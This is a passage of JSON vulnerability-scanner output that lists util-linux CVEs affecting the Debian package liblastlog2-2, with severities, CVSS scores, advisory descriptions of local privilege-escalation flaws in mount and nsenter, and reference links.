"Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53612", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/24da33905c7115c4cbccd0afb2a469804e96467a", "https://github.com/util-linux/util-linux/commit/722c96974dd4009a334e4aee556eedaab5fb94b4", "https://github.com/util-linux/util-linux/commit/897a08c2b11dfa66975c3d24d63c7bf5f5be1a7c", "https://github.com/util-linux/util-linux/commit/d0c5adaeb3a3d823aba1377794de8f009b8152cc", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-g8wm-75wr-g2vh", "https://linux.oracle.com/cve/CVE-2026-53612.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53612", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53612" ], "PublishedDate": "2026-10-14T15:17:20.26Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53613", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "liblastlog2-2@2.41-5", "PkgName": "liblastlog2-2", "PkgIdentifier": { "PURL": "pkg:deb/debian/liblastlog2-2@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "7fc39e358a7ac819" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:301d6db1afae50962275004e3464ae315a53e153631c6e4aaa50af66ed6e6f8c", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53614", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "liblastlog2-2@2.41-5", "PkgName": "liblastlog2-2", "PkgIdentifier": { "PURL": "pkg:deb/debian/liblastlog2-2@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "7fc39e358a7ac819" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53614", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:f67676cde321d9d37f3016b4ae6d96679b1b645d7f79748d5c1abb1bd56fea44", "Title": "util-linux: util-linux: SUID mount(8) allows nosuid/noexec bypass via LIBMOUNT_FORCE_MOUNT2", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged\nuser to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-807" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53614", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/31e37c1c7dcf25b76ccf41391fe934a75644c661", "https://github.com/util-linux/util-linux/commit/53ff0fcdab12d69c60c971c69a3d0d173fa46ca9", "https://github.com/util-linux/util-linux/commit/9cbfb823500f510b34767edabd3ffd5b436987b4", "https://github.com/util-linux/util-linux/commit/cc81bbcec598cb91f0eb8456282f33eed820ed5f", "https://github.com/util-linux/util-linux/commit/fd6b4d94ff013dc7ed680d4e864610da5b9751f1", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-67r7-8m5w-22wx", "https://linux.oracle.com/cve/CVE-2026-53614.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53614", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53614" ], "PublishedDate": "2026-10-14T16:17:45.93Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "liblastlog2-2@2.41-5", "PkgName": "liblastlog2-2", "PkgIdentifier": { "PURL": "pkg:deb/debian/liblastlog2-2@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "7fc39e358a7ac819" }, "InstalledVersion": "2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2c76de6b36a57ca255a74a6b14451dc263c4fb557d454463020398876ee86259", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-76642", "PkgID": "liblastlog2-2@2.41-5", "PkgName": "liblastlog2-2", "PkgIdentifier": { "PURL": "pkg:deb/debian/liblastlog2-2@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "7fc39e358a7ac819" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76642", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6ef4ba06b9fe36dbcd1c3af05bd530c0dd90750c69ca38a3f87f5fa10669ec0f", "Title": "util-linux: util-linux: failed external mount helper still runs privileged X-mount post-hooks", "Description": "util-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-390" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-76642", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892", "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a", "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc", "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf", "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f", "https://linux.oracle.com/cve/CVE-2026-76642.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-76642", "https://www.cve.org/CVERecord?id=CVE-2026-76642", "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper" ], "PublishedDate": "2026-09-03T13:06:08.44Z", "LastModifiedDate": "2026-09-24T20:28:01.78Z" }, { "VulnerabilityID": "CVE-2026-78408", "PkgID": "liblastlog2-2@2.41-5", "PkgName": "liblastlog2-2", "PkgIdentifier": { "PURL": "pkg:deb/debian/liblastlog2-2@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "7fc39e358a7ac819" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78408", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:71ec81b5a90a0f4be797de34f35e4b9752df1220d2638c129ad84ba7fd4ebd4a", "Title": "util-linux: util-linux: nsenter --join-cgroup leaks root cgroup migration authority", "Description": "The nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.", "Severity": "HIGH", "CweIDs": [ "CWE-775" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H", "V3Score": 7.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/09/05/2", "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78408", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj", "https://linux.oracle.com/cve/CVE-2026-78408.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78408", "https://www.cve.org/CVERecord?id=CVE-2026-78408" ], "PublishedDate": "2026-09-02T16:17:23.687Z", "LastModifiedDate": "2026-11-05T03:17:32.977Z" }, { "VulnerabilityID": "CVE-2026-78409", "PkgID": "liblastlog2-2@2.41-5", "PkgName": "liblastlog2-2", "PkgIdentifier": { "PURL": "pkg:deb/debian/liblastlog2-2@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "7fc39e358a7ac819" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78409", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:dc621b4f99d0bf789fabd3471e011bda5123b89d6ae98ac6641a40d80dabe567", "Title": "util-linux: util-linux: X-mount.subdir detached-tree resolution can escape via intermediate symlinks", "Description": "The X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/security/cve/CVE-2026-78409", "https://bugzilla.redhat.com/show_bug.cgi?id=2522607", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv", "https://nvd.nist.gov/vuln/detail/CVE-2026-78409", "https://www.cve.org/CVERecord?id=CVE-2026-78409" ], "PublishedDate": "2026-09-02T16:17:23.833Z", "LastModifiedDate": "2026-11-05T00:17:28.61Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "liblastlog2-2@2.41-5", "PkgName": "liblastlog2-2", "PkgIdentifier": { "PURL": "pkg:deb/debian/liblastlog2-2@2.41-5?arch=amd64\u0026distro=debian-13.3", "UID": "7fc39e358a7ac819" }, "InstalledVersion": "2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:73b02a3d66eda45358519ffd375ed93fe7d86e58ebd02ca3e153418e1b64f7de", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", 